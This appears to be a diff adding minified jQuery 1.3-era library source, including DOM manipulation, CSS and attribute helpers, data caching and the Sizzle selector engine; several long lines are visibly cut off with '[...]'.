+jQuery.attr(type?this.style:this,name,jQuery.prop(this,options[name],type,i,name));});},css:function(key,value){if((key=='width'||key=='height')&&parseFloat(value)<0)
+value=undefined;return this.attr(key,value,"curCSS");},text:function(text){if(typeof text!=="object"&&text!=null)
+return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(text));var ret="";jQuery.each(text||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)
+ret+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return ret;},wrapAll:function(html){if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).clone();if(this[0].parentNode)
+wrap.insertBefore(this[0]);wrap.map(function(){var elem=this;while(elem.firstChild)
+elem=elem.firstChild;return elem;}).append(this);}
+return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,function(elem){if(this.nodeType==1)
+this.appendChild(elem);});},prepend:function(){return this.domManip(arguments,true,function(elem){if(this.nodeType==1)
+this.insertBefore(elem,this.firstChild);});},before:function(){return this.domManip(arguments,false,function(elem){this.parentNode.insertBefore(elem,this);});},after:function(){return this.domManip(arguments,false,function(elem){this.parentNode.insertBefore(elem,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},push:[].push,sort:[].sort,splice:[].splice,find:function(selector){if(this.length===1){var ret=this.pushStack([],"find",selector);ret.length=0;jQuery.find [...]
+return jQuery.clean([html.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0];}else
+return this.cloneNode(true);});if(events===true){var orig=this.find("*").andSelf(),i=0;ret.find("*").andSelf().each(function(){if(this.nodeName!==orig[i].nodeName)
+return;var events=jQuery.data(orig[i],"events");for(var type in events){for(var handler in events[type]){jQuery.event.add(this,type,events[type][handler],events[type][handler].data);}}
+i++;});}
+return ret;},filter:function(selector){return this.pushStack(jQuery.isFunction(selector)&&jQuery.grep(this,function(elem,i){return selector.call(elem,i);})||jQuery.multiFilter(selector,jQuery.grep(this,function(elem){return elem.nodeType===1;})),"filter",selector);},closest:function(selector){var pos=jQuery.expr.match.POS.test(selector)?jQuery(selector):null,closer=0;return this.map(function(){var cur=this;while(cur&&cur.ownerDocument){if(pos?pos.index(cur)>-1:jQuery(cur).is(selector)){j [...]
+cur=cur.parentNode;closer++;}});},not:function(selector){if(typeof selector==="string")
+if(isSimple.test(selector))
+return this.pushStack(jQuery.multiFilter(selector,this,true),"not",selector);else
+selector=jQuery.multiFilter(selector,this);var isArrayLike=selector.length&&selector[selector.length-1]!==undefined&&!selector.nodeType;return this.filter(function(){return isArrayLike?jQuery.inArray(this,selector)<0:this!=selector;});},add:function(selector){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),typeof selector==="string"?jQuery(selector):jQuery.makeArray(selector))));},is:function(selector){return!!selector&&jQuery.multiFilter(selector,this).length>0;},hasClass:fu [...]
+return(elem.attributes.value||{}).specified?elem.value:elem.text;if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,values=[],options=elem.options,one=elem.type=="select-one";if(index<0)
+return null;for(var i=one?index:0,max=one?index+1:options.length;i<max;i++){var option=options[i];if(option.selected){value=jQuery(option).val();if(one)
+return value;values.push(value);}}
+return values;}
+return(elem.value||"").replace(/\r/g,"");}
+return undefined;}
+if(typeof value==="number")
+value+='';return this.each(function(){if(this.nodeType!=1)
+return;if(jQuery.isArray(value)&&/radio|checkbox/.test(this.type))
+this.checked=(jQuery.inArray(this.value,value)>=0||jQuery.inArray(this.name,value)>=0);else if(jQuery.nodeName(this,"select")){var values=jQuery.makeArray(value);jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,values)>=0||jQuery.inArray(this.text,values)>=0);});if(!values.length)
+this.selectedIndex=-1;}else
+this.value=value;});},html:function(value){return value===undefined?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(value);},replaceWith:function(value){return this.after(value).remove();},eq:function(i){return this.slice(i,+i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","));},map:function(callback){return this.pushStack(jQuery.map(this,function(el [...]
+for(var i=0,l=this.length;i<l;i++)
+callback.call(root(this[i],first),this.length>1||i>0?fragment.cloneNode(true):fragment);if(scripts)
+jQuery.each(scripts,evalScript);}
+return this;function root(elem,cur){return table&&jQuery.nodeName(elem,"table")&&jQuery.nodeName(cur,"tr")?(elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody"))):elem;}}};jQuery.fn.init.prototype=jQuery.fn;function evalScript(i,elem){if(elem.src)
+jQuery.ajax({url:elem.src,async:false,dataType:"script"});else
+jQuery.globalEval(elem.text||elem.textContent||elem.innerHTML||"");if(elem.parentNode)
+elem.parentNode.removeChild(elem);}
+function now(){return+new Date;}
+jQuery.extend=jQuery.fn.extend=function(){var target=arguments[0]||{},i=1,length=arguments.length,deep=false,options;if(typeof target==="boolean"){deep=target;target=arguments[1]||{};i=2;}
+if(typeof target!=="object"&&!jQuery.isFunction(target))
+target={};if(length==i){target=this;--i;}
+for(;i<length;i++)
+if((options=arguments[i])!=null)
+for(var name in options){var src=target[name],copy=options[name];if(target===copy)
+continue;if(deep&©&&typeof copy==="object"&&!copy.nodeType)
+target[name]=jQuery.extend(deep,src||(copy.length!=null?[]:{}),copy);else if(copy!==undefined)
+target[name]=copy;}
+return target;};var exclude=/z-?index|font-?weight|opacity|zoom|line-?height/i,defaultView=document.defaultView||{},toString=Object.prototype.toString;jQuery.extend({noConflict:function(deep){window.$=_$;if(deep)
+window.jQuery=_jQuery;return jQuery;},isFunction:function(obj){return toString.call(obj)==="[object Function]";},isArray:function(obj){return toString.call(obj)==="[object Array]";},isXMLDoc:function(elem){return elem.nodeType===9&&elem.documentElement.nodeName!=="HTML"||!!elem.ownerDocument&&jQuery.isXMLDoc(elem.ownerDocument);},globalEval:function(data){if(data&&/\S/.test(data)){var head=document.getElementsByTagName("head")[0]||document.documentElement,script=document.createElement("s [...]
+script.appendChild(document.createTextNode(data));else
+script.text=data;head.insertBefore(script,head.firstChild);head.removeChild(script);}},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toUpperCase()==name.toUpperCase();},each:function(object,callback,args){var name,i=0,length=object.length;if(args){if(length===undefined){for(name in object)
+if(callback.apply(object[name],args)===false)
+break;}else
+for(;i<length;)
+if(callback.apply(object[i++],args)===false)
+break;}else{if(length===undefined){for(name in object)
+if(callback.call(object[name],name,object[name])===false)
+break;}else
+for(var value=object[0];i<length&&callback.call(value,i,value)!==false;value=object[++i]){}}
+return object;},prop:function(elem,value,type,i,name){if(jQuery.isFunction(value))
+value=value.call(elem,i);return typeof value==="number"&&type=="curCSS"&&!exclude.test(name)?value+"px":value;},className:{add:function(elem,classNames){jQuery.each((classNames||"").split(/\s+/),function(i,className){if(elem.nodeType==1&&!jQuery.className.has(elem.className,className))
+elem.className+=(elem.className?" ":"")+className;});},remove:function(elem,classNames){if(elem.nodeType==1)
+elem.className=classNames!==undefined?jQuery.grep(elem.className.split(/\s+/),function(className){return!jQuery.className.has(classNames,className);}).join(" "):"";},has:function(elem,className){return elem&&jQuery.inArray(className,(elem.className||elem).toString().split(/\s+/))>-1;}},swap:function(elem,options,callback){var old={};for(var name in options){old[name]=elem.style[name];elem.style[name]=options[name];}
+callback.call(elem);for(var name in options)
+elem.style[name]=old[name];},css:function(elem,name,force,extra){if(name=="width"||name=="height"){var val,props={position:"absolute",visibility:"hidden",display:"block"},which=name=="width"?["Left","Right"]:["Top","Bottom"];function getWH(){val=name=="width"?elem.offsetWidth:elem.offsetHeight;if(extra==="border")
+return;jQuery.each(which,function(){if(!extra)
+val-=parseFloat(jQuery.curCSS(elem,"padding"+this,true))||0;if(extra==="margin")
+val+=parseFloat(jQuery.curCSS(elem,"margin"+this,true))||0;else
+val-=parseFloat(jQuery.curCSS(elem,"border"+this+"Width",true))||0;});}
+if(elem.offsetWidth!==0)
+getWH();else
+jQuery.swap(elem,props,getWH);return Math.max(0,Math.round(val));}
+return jQuery.curCSS(elem,name,force);},curCSS:function(elem,name,force){var ret,style=elem.style;if(name=="opacity"&&!jQuery.support.opacity){ret=jQuery.attr(style,"opacity");return ret==""?"1":ret;}
+if(name.match(/float/i))
+name=styleFloat;if(!force&&style&&style[name])
+ret=style[name];else if(defaultView.getComputedStyle){if(name.match(/float/i))
+name="float";name=name.replace(/([A-Z])/g,"-$1").toLowerCase();var computedStyle=defaultView.getComputedStyle(elem,null);if(computedStyle)
+ret=computedStyle.getPropertyValue(name);if(name=="opacity"&&ret=="")
+ret="1";}else if(elem.currentStyle){var camelCase=name.replace(/\-(\w)/g,function(all,letter){return letter.toUpperCase();});ret=elem.currentStyle[name]||elem.currentStyle[camelCase];if(!/^\d+(px)?$/i.test(ret)&&/^\d/.test(ret)){var left=style.left,rsLeft=elem.runtimeStyle.left;elem.runtimeStyle.left=elem.currentStyle.left;style.left=ret||0;ret=style.pixelLeft+"px";style.left=left;elem.runtimeStyle.left=rsLeft;}}
+return ret;},clean:function(elems,context,fragment){context=context||document;if(typeof context.createElement==="undefined")
+context=context.ownerDocument||context[0]&&context[0].ownerDocument||document;if(!fragment&&elems.length===1&&typeof elems[0]==="string"){var match=/^<(\w+)\s*\/?>$/.exec(elems[0]);if(match)
+return[context.createElement(match[1])];}
+var ret=[],scripts=[],div=context.createElement("div");jQuery.each(elems,function(i,elem){if(typeof elem==="number")
+elem+='';if(!elem)
+return;if(typeof elem==="string"){elem=elem.replace(/(<(\w+)[^>]*?)\/>/g,function(all,front,tag){return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?all:front+"></"+tag+">";});var tags=elem.replace(/^\s+/,"").substring(0,10).toLowerCase();var wrap=!tags.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!tags.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||tags.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!tags.indexOf("<tr")& [...]
+div=div.lastChild;if(!jQuery.support.tbody){var hasBody=/<tbody/i.test(elem),tbody=!tags.indexOf("<table")&&!hasBody?div.firstChild&&div.firstChild.childNodes:wrap[1]=="<table>"&&!hasBody?div.childNodes:[];for(var j=tbody.length-1;j>=0;--j)
+if(jQuery.nodeName(tbody[j],"tbody")&&!tbody[j].childNodes.length)
+tbody[j].parentNode.removeChild(tbody[j]);}
+if(!jQuery.support.leadingWhitespace&&/^\s/.test(elem))
+div.insertBefore(context.createTextNode(elem.match(/^\s*/)[0]),div.firstChild);elem=jQuery.makeArray(div.childNodes);}
+if(elem.nodeType)
+ret.push(elem);else
+ret=jQuery.merge(ret,elem);});if(fragment){for(var i=0;ret[i];i++){if(jQuery.nodeName(ret[i],"script")&&(!ret[i].type||ret[i].type.toLowerCase()==="text/javascript")){scripts.push(ret[i].parentNode?ret[i].parentNode.removeChild(ret[i]):ret[i]);}else{if(ret[i].nodeType===1)
+ret.splice.apply(ret,[i+1,0].concat(jQuery.makeArray(ret[i].getElementsByTagName("script"))));fragment.appendChild(ret[i]);}}
+return scripts;}
+return ret;},attr:function(elem,name,value){if(!elem||elem.nodeType==3||elem.nodeType==8)
+return undefined;var notxml=!jQuery.isXMLDoc(elem),set=value!==undefined;name=notxml&&jQuery.props[name]||name;if(elem.tagName){var special=/href|src|style/.test(name);if(name=="selected"&&elem.parentNode)
+elem.parentNode.selectedIndex;if(name in elem&¬xml&&!special){if(set){if(name=="type"&&jQuery.nodeName(elem,"input")&&elem.parentNode)
+throw"type property can't be changed";elem[name]=value;}
+if(jQuery.nodeName(elem,"form")&&elem.getAttributeNode(name))
+return elem.getAttributeNode(name).nodeValue;if(name=="tabIndex"){var attributeNode=elem.getAttributeNode("tabIndex");return attributeNode&&attributeNode.specified?attributeNode.value:elem.nodeName.match(/(button|input|object|select|textarea)/i)?0:elem.nodeName.match(/^(a|area)$/i)&&elem.href?0:undefined;}
+return elem[name];}
+if(!jQuery.support.style&¬xml&&name=="style")
+return jQuery.attr(elem.style,"cssText",value);if(set)
+elem.setAttribute(name,""+value);var attr=!jQuery.support.hrefNormalized&¬xml&&special
+?elem.getAttribute(name,2):elem.getAttribute(name);return attr===null?undefined:attr;}
+if(!jQuery.support.opacity&&name=="opacity"){if(set){elem.zoom=1;elem.filter=(elem.filter||"").replace(/alpha\([^)]*\)/,"")+
+(parseInt(value)+''=="NaN"?"":"alpha(opacity="+value*100+")");}
+return elem.filter&&elem.filter.indexOf("opacity=")>=0?(parseFloat(elem.filter.match(/opacity=([^)]*)/)[1])/100)+'':"";}
+name=name.replace(/-([a-z])/ig,function(all,letter){return letter.toUpperCase();});if(set)
+elem[name]=value;return elem[name];},trim:function(text){return(text||"").replace(/^\s+|\s+$/g,"");},makeArray:function(array){var ret=[];if(array!=null){var i=array.length;if(i==null||typeof array==="string"||jQuery.isFunction(array)||array.setInterval)
+ret[0]=array;else
+while(i)
+ret[--i]=array[i];}
+return ret;},inArray:function(elem,array){for(var i=0,length=array.length;i<length;i++)
+if(array[i]===elem)
+return i;return-1;},merge:function(first,second){var i=0,elem,pos=first.length;if(!jQuery.support.getAll){while((elem=second[i++])!=null)
+if(elem.nodeType!=8)
+first[pos++]=elem;}else
+while((elem=second[i++])!=null)
+first[pos++]=elem;return first;},unique:function(array){var ret=[],done={};try{for(var i=0,length=array.length;i<length;i++){var id=jQuery.data(array[i]);if(!done[id]){done[id]=true;ret.push(array[i]);}}}catch(e){ret=array;}
+return ret;},grep:function(elems,callback,inv){var ret=[];for(var i=0,length=elems.length;i<length;i++)
+if(!inv!=!callback(elems[i],i))
+ret.push(elems[i]);return ret;},map:function(elems,callback){var ret=[];for(var i=0,length=elems.length;i<length;i++){var value=callback(elems[i],i);if(value!=null)
+ret[ret.length]=value;}
+return ret.concat.apply([],ret);}});var userAgent=navigator.userAgent.toLowerCase();jQuery.browser={version:(userAgent.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,'0'])[1],safari:/webkit/.test(userAgent),opera:/opera/.test(userAgent),msie:/msie/.test(userAgent)&&!/opera/.test(userAgent),mozilla:/mozilla/.test(userAgent)&&!/(compatible|webkit)/.test(userAgent)};jQuery.each({parent:function(elem){return elem.parentNode;},parents:function(elem){return jQuery.dir(elem,"parentNode");},next:f [...]
+ret=jQuery.multiFilter(selector,ret);return this.pushStack(jQuery.unique(ret),name,selector);};});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(selector){var ret=[],insert=jQuery(selector);for(var i=0,l=insert.length;i<l;i++){var elems=(i>0?this.clone(true):this).get();jQuery.fn[original].apply(jQuery(insert[i]),elems);ret=ret.concat(elems);}
+return this.pushStack(ret,name,selector);};});jQuery.each({removeAttr:function(name){jQuery.attr(this,name,"");if(this.nodeType==1)
+this.removeAttribute(name);},addClass:function(classNames){jQuery.className.add(this,classNames);},removeClass:function(classNames){jQuery.className.remove(this,classNames);},toggleClass:function(classNames,state){if(typeof state!=="boolean")
+state=!jQuery.className.has(this,classNames);jQuery.className[state?"add":"remove"](this,classNames);},remove:function(selector){if(!selector||jQuery.filter(selector,[this]).length){jQuery("*",this).add([this]).each(function(){jQuery.event.remove(this);jQuery.removeData(this);});if(this.parentNode)
+this.parentNode.removeChild(this);}},empty:function(){jQuery(this).children().remove();while(this.firstChild)
+this.removeChild(this.firstChild);}},function(name,fn){jQuery.fn[name]=function(){return this.each(fn,arguments);};});function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;}
+var expando="jQuery"+now(),uuid=0,windowData={};jQuery.extend({cache:{},data:function(elem,name,data){elem=elem==window?windowData:elem;var id=elem[expando];if(!id)
+id=elem[expando]=++uuid;if(name&&!jQuery.cache[id])
+jQuery.cache[id]={};if(data!==undefined)
+jQuery.cache[id][name]=data;return name?jQuery.cache[id][name]:id;},removeData:function(elem,name){elem=elem==window?windowData:elem;var id=elem[expando];if(name){if(jQuery.cache[id]){delete jQuery.cache[id][name];name="";for(name in jQuery.cache[id])
+break;if(!name)
+jQuery.removeData(elem);}
+}else{try{delete elem[expando];}catch(e){if(elem.removeAttribute)
+elem.removeAttribute(expando);}
+delete jQuery.cache[id];}},queue:function(elem,type,data){if(elem){type=(type||"fx")+"queue";var q=jQuery.data(elem,type);if(!q||jQuery.isArray(data))
+q=jQuery.data(elem,type,jQuery.makeArray(data));else if(data)
+q.push(data);}
+return q;},dequeue:function(elem,type){var queue=jQuery.queue(elem,type),fn=queue.shift();if(!type||type==="fx")
+fn=queue[0];if(fn!==undefined)
+fn.call(elem);}});jQuery.fn.extend({data:function(key,value){var parts=key.split(".");parts[1]=parts[1]?"."+parts[1]:"";if(value===undefined){var data=this.triggerHandler("getData"+parts[1]+"!",[parts[0]]);if(data===undefined&&this.length)
+data=jQuery.data(this[0],key);return data===undefined&&parts[1]?this.data(parts[0]):data;}else
+return this.trigger("setData"+parts[1]+"!",[parts[0],value]).each(function(){jQuery.data(this,key,value);});},removeData:function(key){return this.each(function(){jQuery.removeData(this,key);});},queue:function(type,data){if(typeof type!=="string"){data=type;type="fx";}
+if(data===undefined)
+return jQuery.queue(this[0],type);return this.each(function(){var queue=jQuery.queue(this,type,data);if(type=="fx"&&queue.length==1)
+queue[0].call(this);});},dequeue:function(type){return this.each(function(){jQuery.dequeue(this,type);});}});(function(){var chunker=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,done=0,toString=Object.prototype.toString;var Sizzle=function(selector,context,results,seed){results=results||[];context=context||document;if(context.nodeType!==1&&context.nodeType!==9)
+return[];if(!selector||typeof selector!=="string"){return results;}
+var parts=[],m,set,checkSet,check,mode,extra,prune=true;chunker.lastIndex=0;while((m=chunker.exec(selector))!==null){parts.push(m[1]);if(m[2]){extra=RegExp.rightContext;break;}}
+if(parts.length>1&&origPOS.exec(selector)){if(parts.length===2&&Expr.relative[parts[0]]){set=posProcess(parts[0]+parts[1],context);}else{set=Expr.relative[parts[0]]?[context]:Sizzle(parts.shift(),context);while(parts.length){selector=parts.shift();if(Expr.relative[selector])
+selector+=parts.shift();set=posProcess(selector,set);}}}else{var ret=seed?{expr:parts.pop(),set:makeArray(seed)}:Sizzle.find(parts.pop(),parts.length===1&&context.parentNode?context.parentNode:context,isXML(context));set=Sizzle.filter(ret.expr,ret.set);if(parts.length>0){checkSet=makeArray(set);}else{prune=false;}
+while(parts.length){var cur=parts.pop(),pop=cur;if(!Expr.relative[cur]){cur="";}else{pop=parts.pop();}
+if(pop==null){pop=context;}
+Expr.relative[cur](checkSet,pop,isXML(context));}}
+if(!checkSet){checkSet=set;}
+if(!checkSet){throw"Syntax error, unrecognized expression: "+(cur||selector);}
+if(toString.call(checkSet)==="[object Array]"){if(!prune){results.push.apply(results,checkSet);}else if(context.nodeType===1){for(var i=0;checkSet[i]!=null;i++){if(checkSet[i]&&(checkSet[i]===true||checkSet[i].nodeType===1&&contains(context,checkSet[i]))){results.push(set[i]);}}}else{for(var i=0;checkSet[i]!=null;i++){if(checkSet[i]&&checkSet[i].nodeType===1){results.push(set[i]);}}}}else{makeArray(checkSet,results);}
+if(extra){Sizzle(extra,context,results,seed);if(sortOrder){hasDuplicate=false;results.sort(sortOrder);if(hasDuplicate){for(var i=1;i<results.length;i++){if(results[i]===results[i-1]){results.splice(i--,1);}}}}}
+return results;};Sizzle.matches=function(expr,set){return Sizzle(expr,null,null,set);};Sizzle.find=function(expr,context,isXML){var set,match;if(!expr){return[];}
+for(var i=0,l=Expr.order.length;i<l;i++){var type=Expr.order[i],match;if((match=Expr.match[type].exec(expr))){var left=RegExp.leftContext;if(left.substr(left.length-1)!=="\\"){match[1]=(match[1]||"").replace(/\\/g,"");set=Expr.find[type](match,context,isXML);if(set!=null){expr=expr.replace(Expr.match[type],"");break;}}}}
+if(!set){set=context.getElementsByTagName("*");}
+return{set:set,expr:expr};};Sizzle.filter=function(expr,set,inplace,not){var old=expr,result=[],curLoop=set,match,anyFound,isXMLFilter=set&&set[0]&&isXML(set[0]);while(expr&&set.length){for(var type in Expr.filter){if((match=Expr.match[type].exec(expr))!=null){var filter=Expr.filter[type],found,item;anyFound=false;if(curLoop==result){result=[];}
+if(Expr.preFilter[type]){match=Expr.preFilter[type](match,curLoop,inplace,result,not,isXMLFilter);if(!match){anyFound=found=true;}else if(match===true){continue;}}
+if(match){for(var i=0;(item=curLoop[i])!=null;i++){if(item){found=filter(item,match,i,curLoop);var pass=not^!!found;if(inplace&&found!=null){if(pass){anyFound=true;}else{curLoop[i]=false;}}else if(pass){result.push(item);anyFound=true;}}}}
+if(found!==undefined){if(!inplace){curLoop=result;}
+expr=expr.replace(Expr.match[type],"");if(!anyFound){return[];}
+break;}}}
+if(expr==old){if(anyFound==null){throw"Syntax error, unrecognized expression: "+expr;}else{break;}}
+old=expr;}
+return curLoop;};var Expr=Sizzle.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_ [...]
+for(var i=0,l=checkSet.length,elem;i<l;i++){if((elem=checkSet[i])){while((elem=elem.previousSibling)&&elem.nodeType!==1){}
+checkSet[i]=isPartStrNotTag||elem&&elem.nodeName===part?elem||false:elem===part;}}
+if(isPartStrNotTag){Sizzle.filter(part,checkSet,true);}},">":function(checkSet,part,isXML){var isPartStr=typeof part==="string";if(isPartStr&&!/\W/.test(part)){part=isXML?part:part.toUpperCase();for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){var parent=elem.parentNode;checkSet[i]=parent.nodeName===part?parent:false;}}}else{for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){checkSet[i]=isPartStr?elem.parentNode:elem.parentNode===part;}}
+if(isPartStr){Sizzle.filter(part,checkSet,true);}}},"":function(checkSet,part,isXML){var doneName=done++,checkFn=dirCheck;if(!part.match(/\W/)){var nodeCheck=part=isXML?part:part.toUpperCase();checkFn=dirNodeCheck;}
+checkFn("parentNode",part,doneName,checkSet,nodeCheck,isXML);},"~":function(checkSet,part,isXML){var doneName=done++,checkFn=dirCheck;if(typeof part==="string"&&!part.match(/\W/)){var nodeCheck=part=isXML?part:part.toUpperCase();checkFn=dirNodeCheck;}
+checkFn("previousSibling",part,doneName,checkSet,nodeCheck,isXML);}},find:{ID:function(match,context,isXML){if(typeof context.getElementById!=="undefined"&&!isXML){var m=context.getElementById(match[1]);return m?[m]:[];}},NAME:function(match,context,isXML){if(typeof context.getElementsByName!=="undefined"){var ret=[],results=context.getElementsByName(match[1]);for(var i=0,l=results.length;i<l;i++){if(results[i].getAttribute("name")===match[1]){ret.push(results[i]);}}
+return ret.length===0?null:ret;}},TAG:function(match,context){return context.getElementsByTagName(match[1]);}},preFilter:{CLASS:function(match,curLoop,inplace,result,not,isXML){match=" "+match[1].replace(/\\/g,"")+" ";if(isXML){return match;}
+for(var i=0,elem;(elem=curLoop[i])!=null;i++){if(elem){if(not^(elem.className&&(" "+elem.className+" ").indexOf(match)>=0)){if(!inplace)
+result.push(elem);}else if(inplace){curLoop[i]=false;}}}
+return false;},ID:function(match){return match[1].replace(/\\/g,"");},TAG:function(match,curLoop){for(var i=0;curLoop[i]===false;i++){}
+return curLoop[i]&&isXML(curLoop[i])?match[1]:match[1].toUpperCase();},CHILD:function(match){if(match[1]=="nth"){var test=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(match[2]=="even"&&"2n"||match[2]=="odd"&&"2n+1"||!/\D/.test(match[2])&&"0n+"+match[2]||match[2]);match[2]=(test[1]+(test[2]||1))-0;match[3]=test[3]-0;}
+match[0]=done++;return match;},ATTR:function(match,curLoop,inplace,result,not,isXML){var name=match[1].replace(/\\/g,"");if(!isXML&&Expr.attrMap[name]){match[1]=Expr.attrMap[name];}
+if(match[2]==="~="){match[4]=" "+match[4]+" ";}
+return match;},PSEUDO:function(match,curLoop,inplace,result,not){if(match[1]==="not"){if(match[3].match(chunker).length>1||/^\w/.test(match[3])){match[3]=Sizzle(match[3],null,null,curLoop);}else{var ret=Sizzle.filter(match[3],curLoop,inplace,true^not);if(!inplace){result.push.apply(result,ret);}
+return false;}}else if(Expr.match.POS.test(match[0])||Expr.match.CHILD.test(match[0])){return true;}
+return match;},POS:function(match){match.unshift(true);return match;}},filters:{enabled:function(elem){return elem.disabled===false&&elem.type!=="hidden";},disabled:function(elem){return elem.disabled===true;},checked:function(elem){return elem.checked===true;},selected:function(elem){elem.parentNode.selectedIndex;return elem.selected===true;},parent:function(elem){return!!elem.firstChild;},empty:function(elem){return!elem.firstChild;},has:function(elem,i,match){return!!Sizzle(match[3],e [...]
+return true;}},CHILD:function(elem,match){var type=match[1],node=elem;switch(type){case'only':case'first':while(node=node.previousSibling){if(node.nodeType===1)return false;}
+if(type=='first')return true;node=elem;case'last':while(node=node.nextSibling){if(node.nodeType===1)return false;}
+return true;case'nth':var first=match[2],last=match[3];if(first==1&&last==0){return true;}
+var doneName=match[0],parent=elem.parentNode;if(parent&&(parent.sizcache!==doneName||!elem.nodeIndex)){var count=0;for(node=parent.firstChild;node;node=node.nextSibling){if(node.nodeType===1){node.nodeIndex=++count;}}
+parent.sizcache=doneName;}
+var diff=elem.nodeIndex-last;if(first==0){return diff==0;}else{return(diff%first==0&&diff/first>=0);}}},ID:function(elem,match){return elem.nodeType===1&&elem.getAttribute("id")===match;},TAG:function(elem,match){return(match==="*"&&elem.nodeType===1)||elem.nodeName===match;},CLASS:function(elem,match){return(" "+(elem.className||elem.getAttribute("class"))+" ")
+.indexOf(match)>-1;},ATTR:function(elem,match){var name=match[1],result=Expr.attrHandle[name]?Expr.attrHandle[name](elem):elem[name]!=null?elem[name]:elem.getAttribute(name),value=result+"",type=match[2],check=match[4];return result==null?type==="!=":type==="="?value===check:type==="*="?value.indexOf(check)>=0:type==="~="?(" "+value+" ").indexOf(check)>=0:!check?value&&result!==false:type==="!="?value!=check:type==="^="?value.indexOf(check)===0:type==="$="?value.substr(value.length-check [...]
+var makeArray=function(array,results){array=Array.prototype.slice.call(array);if(results){results.push.apply(results,array);return results;}
+return array;};try{Array.prototype.slice.call(document.documentElement.childNodes);}catch(e){makeArray=function(array,results){var ret=results||[];if(toString.call(array)==="[object Array]"){Array.prototype.push.apply(ret,array);}else{if(typeof array.length==="number"){for(var i=0,l=array.length;i<l;i++){ret.push(array[i]);}}else{for(var i=0;array[i];i++){ret.push(array[i]);}}}
+return ret;};}
+var sortOrder;if(document.documentElement.compareDocumentPosition){sortOrder=function(a,b){var ret=a.compareDocumentPosition(b)&4?-1:a===b?0:1;if(ret===0){hasDuplicate=true;}
+return ret;};}else if("sourceIndex"in document.documentElement){sortOrder=function(a,b){var ret=a.sourceIndex-b.sourceIndex;if(ret===0){hasDuplicate=true;}
+return ret;};}else if(document.createRange){sortOrder=function(a,b){var aRange=a.ownerDocument.createRange(),bRange=b.ownerDocument.createRange();aRange.selectNode(a);aRange.collapse(true);bRange.selectNode(b);bRange.collapse(true);var ret=aRange.compareBoundaryPoints(Range.START_TO_END,bRange);if(ret===0){hasDuplicate=true;}
+return ret;};}
+(function(){var form=document.createElement("form"),id="script"+(new Date).getTime();form.innerHTML="<input name='"+id+"'/>";var root=document.documentElement;root.insertBefore(form,root.firstChild);if(!!document.getElementById(id)){Expr.find.ID=function(match,context,isXML){if(typeof context.getElementById!=="undefined"&&!isXML){var m=context.getElementById(match[1]);return m?m.id===match[1]||typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id").nodeValue===match[1]?[m]:unde [...]
+root.removeChild(form);})();(function(){var div=document.createElement("div");div.appendChild(document.createComment(""));if(div.getElementsByTagName("*").length>0){Expr.find.TAG=function(match,context){var results=context.getElementsByTagName(match[1]);if(match[1]==="*"){var tmp=[];for(var i=0;results[i];i++){if(results[i].nodeType===1){tmp.push(results[i]);}}
+results=tmp;}
+return results;};}
+div.innerHTML="<a href='#'></a>";if(div.firstChild&&typeof div.firstChild.getAttribute!=="undefined"&&div.firstChild.getAttribute("href")!=="#"){Expr.attrHandle.href=function(elem){return elem.getAttribute("href",2);};}})();if(document.querySelectorAll)(function(){var oldSizzle=Sizzle,div=document.createElement("div");div.innerHTML="<p class='TEST'></p>";if(div.querySelectorAll&&div.querySelectorAll(".TEST").length===0){return;}
+Sizzle=function(query,context,extra,seed){context=context||document;if(!seed&&context.nodeType===9&&!isXML(context)){try{return makeArray(context.querySelectorAll(query),extra);}catch(e){}}
